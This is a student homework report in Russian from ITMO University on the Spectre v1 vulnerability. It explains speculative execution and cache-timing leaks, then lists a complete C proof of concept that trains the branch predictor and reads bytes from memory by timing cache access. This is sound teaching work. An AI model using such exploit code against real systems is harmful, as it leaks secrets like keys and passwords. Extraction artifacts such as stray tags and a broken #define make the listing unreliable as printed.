# САНКТ-ПЕТЕРБУРГСКИЙ НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина: Архитектура ЭВМ

## Отчет

по домашней работе № 6

«Spectre»

Выполнил(а): ДЗЕСТЕЛОВ ХЕТАГ АРТУРОВИЧ

студ. гр. М3139

Санкт-Петербург

Цель работы: знакомство с аппаратной уязвимостью Spectre.

**Инструментарий и требования к работе:** рекомендуется использовать C, C++.

### Теоретическая часть

**Spectre/Meltdown** – группа аппаратных уязвимостей. Основываются на уязвимости процессоров, которые имеют спекулятивное выполнение команд и развитое предсказание ветвлений (далее будет показано, какого рода ветвление к этому приводит). Является **read-only** типом уязвимости. Затрагивает большинство современных микропроцессоров, архитектуры x86/x86\_64 (Intel и AMD) в частности. Атаке **Spectre** подвержено большинство компьютерных систем, использующих высокопроизводительные микропроцессоры.

Уязвимость позволяет получить локальному приложению получить доступ к содержимому памяти текущего и других приложений. При этом приложение игнорирует ограничения по доступу. Потенциально, уязвимость может быть использована для чтения ключей шифрования, паролей и другой важной информации.

Рассмотрим принцип, по которому реализуется уязвимость **Meltdown**:

MOV R1, [R0]

MOV R2, [table + R1].

Процессоры с архитектурой суперскаляра для оптимизации времени выполнения приведенных выше команд запустит их одновременно. При этом, если доступ к участку памяти R0 недоступен, процессор заметит это "не сразу", а спустя некоторое время, за которое может быть выполнена вторая команда. Как только процессор такие заметит неладное и откатит некорректное выполнение — будет уже поздно, т. к. используя незамысловатую конструкцию в исходном коде можно благодаря кэшсистеме получить фактическое значение регистра памяти. Это реализуется благодаря замеру времени, за которое процессор будет обращаться к

оперативной памяти через кэш — так по аномальному отклонению времени обращения к оперативной памяти (и кэш-памяти) мы обнаруживаем искомое значение. Стоит отметить, что данной уязвимости подвержены только те процессоры, в которых проверка на доступ к памяти осуществляется медленнее, чем потенциально могут быть выполнены следующие за соответствующей командой инструкции.

#### Далее Spectre:

```
if (x < array1_size)
    y = array2[array1[x] * 256];</pre>
```

- участок кода, являющийся частью функции, которая получает беззнаковое целое х из ненадежного источника, а процесс, выполняющий этот код, имеет доступ к массиву беззнаковых 8-битных целых array1 размером array1\_size, и ко второму массиву беззнаковых 8-битных целых array2.

Неверное предсказание условного перехода (попытка суперскаляра оптимизировать загруженность конвейеров) может привести выполнению ветви программного кода, которая по идее не должна выполняться в принципе. Такое поведение может быть достигнуто, если предварительно "обучить" процессор выбирать соответствующую ветку. Так, можно перед атакой пропустить через функцию корректные данные, чтобы система "привыкла" к нужной ветке. Далее начинается "атака". А именно, процессор выполнит вредоносные строчки кода ещё до фактической проверки предиката. А именно, прочитает байт по адресу <array1> + x, то есть "секретный" байт k. Затем, процессор использует полученное значение для вычисления выражения к \* 256 и чтения элемента массива array2[k \* 256], которое приведет ко второму промаху кэша, и ожиданию получения значения array2[k \* 256] из оперативной памяти. В это время процессор уже распознает ошибку предсказателя ветвлений и восстановит исходное состояние.

Однако, на реальных процессорах спекулятивное чтение array2[k \* 256] повлияет на состояние кэша процессора, и это состояние будет зависеть от k. Атака завершается поиском значения "секретного" бита благодаря сравнению фактического времени обращения кэш-памяти.

По своей природе spectre уязвимость является фундаментальной проблемой предсказателя ветвлений. Данная система существенно ускоряет работу процессоров и её "устранение" нецелесообразно. В настоящее время не существует готовых программных технологий защиты от подобного вида атаки.

По данным веб-сайта, посвященному продвижению атаки, «Это не так легко исправить, и она (ошибка) будет преследовать нас в течение длительного времени».

## Практическая часть

Программа представляет из себя функцию **main**(), которая осуществляет чтение и проверку корректности соответствующих данных. Функция **read\_byte(addr)** получает адрес **addr,** на который производится атака. Функцией "уязвимости" является **victim\_function**(). Массивам array2 и array1 из приема выше соответствуют массивы hack\_array и training\_array соотвественно.

Функция атаки проводит несколько атак (MAX\_ITERS) на адрес памяти, предварительно каждый раз обучая процессор условному переходу. Так, измеряется время обращения к кэш-памяти и собирается статистика при аномально малом времени обращения по значениям байтов и делается вывод о фактическом значении байта. Операция повторяется, пока искомая строка не станет известной.

- CACHE\_HIT порог, при котором программа считает время обращения к кэш-памяти "аномальным"
- COINCIDENCE кол-во совпадений для повышения точности вычисления искомого значения байта
- CACHE\_LINE размер кэш-линии
- MAX\_ITERS кол-во атак на один байт.

.

Так же пришлось использовать различного рода битовые ухищрения, чтобы компилятор не оптимизировал исполнение, убирая нужные для атаки инструкции. Протестировано без параметров оптимизации не большом объеме данных (см. рисунок 1).

```
C:\Users\dzkhe\Desktop\HM-6>hm6 "THIS STRING IS CATCHED BY SPECTRE V1 ATTACK"
Accessed data: THIS STRING IS CATCHED BY SPECTRE V1 ATTACK
C:\Users\dzkhe\Desktop\HM-6>
```

Рисунок №1 – Пример работы

Запускается с параметрами запуска hw6.exe <данные> [<имя\_выходного\_файла>].

#### Листинг

```
main.c
#include <stdio.h>
#include <inttypes.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
#include <x86intrin.h>
#endif
uint32_t TICK = 0;
size_t isFile = 0;
FILE *output = NULL;
#define CACHE HIT 80
#define COINCIDENCE 4
#define CACHE_LINE 4096
#define MAX_ITERS 1000
unsigned int training_size = 32;
uint8_t training_array[32];
uint8_t hack_array[256 * CACHE_LINE];
uint8_t temp = 0;
void victim_function(uint64_t x) {
    if (x < training_size) {</pre>
        temp ^= hack_array[training_array[x] * CACHE_LINE]; // Anti
optimizations
    }
}
uint8_t read_byte(size_t addr) {
    addr -= (uint64_t) &training_array;
    int bytes_score[256];
    for (int i = 0; i < 256; i++)
        bytes_score[i] = 0;
```

```
int best = -1;
    for (int iters = 0; iters < MAX_ITERS; iters++) {</pre>
        for (int i = 0; i < 256; i++) { // Cache flush</pre>
            _mm_clflush(&hack_array[i * CACHE_LINE]);
        int x = -1;
        for (int j = 0; j < training_size; j++) { // Magic anti optimizations</pre>
trick!
            _mm_clflush(&training_size);
            x = ((j \% 5)) | (((j \% 5) - 1) >> 8);
            x = 31 ^ (x & (addr ^ 31));
            victim_function(x);
        }
        for (int i = 1; i < 256; i++) {</pre>
            register uint64_t time = __rdtscp(&TICK);
            temp ^= hack_array[i * CACHE_LINE];
            time = __rdtscp(&TICK) - time;
            if (time <= CACHE_HIT) {</pre>
                bytes_score[i]++;
            }
        }
        uint8_t cur_best = 0;
        for (int j = 1; j < 256; j++) {
            if (bytes_score[cur_best] <= bytes_score[j]) {</pre>
                cur_best = j;
            }
        }
        if (bytes_score[cur_best] >= COINCIDENCE) {
            best = cur_best;
            break;
        }
    }
    return best;
}
int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "Requires <data> [<output_file>]");
        return -1;
    }
    uint32_t len = 0;
    while (argv[1][++len]);
    char *secret = argv[1];
    output = argc > 2 ? fopen(argv[2], "w") : stdout;
    fprintf(output, "Accessed data: ");
    uint64_t addr = (uint64_t) secret;
    for (uint64_t i = 0; i < len; i++) {</pre>
        fprintf(output, "%c", read_byte(addr + i));
    }
```

```
fprintf(output, "\n");

if (isFile != 0 && !fclose(output)) {
    fprintf(stderr, "Writing in output failed!");
    return -1;
}

return 0;
}

Компилятор "minGw w64 6.0", параметры "CMAKE_C_STANDARD 99"
```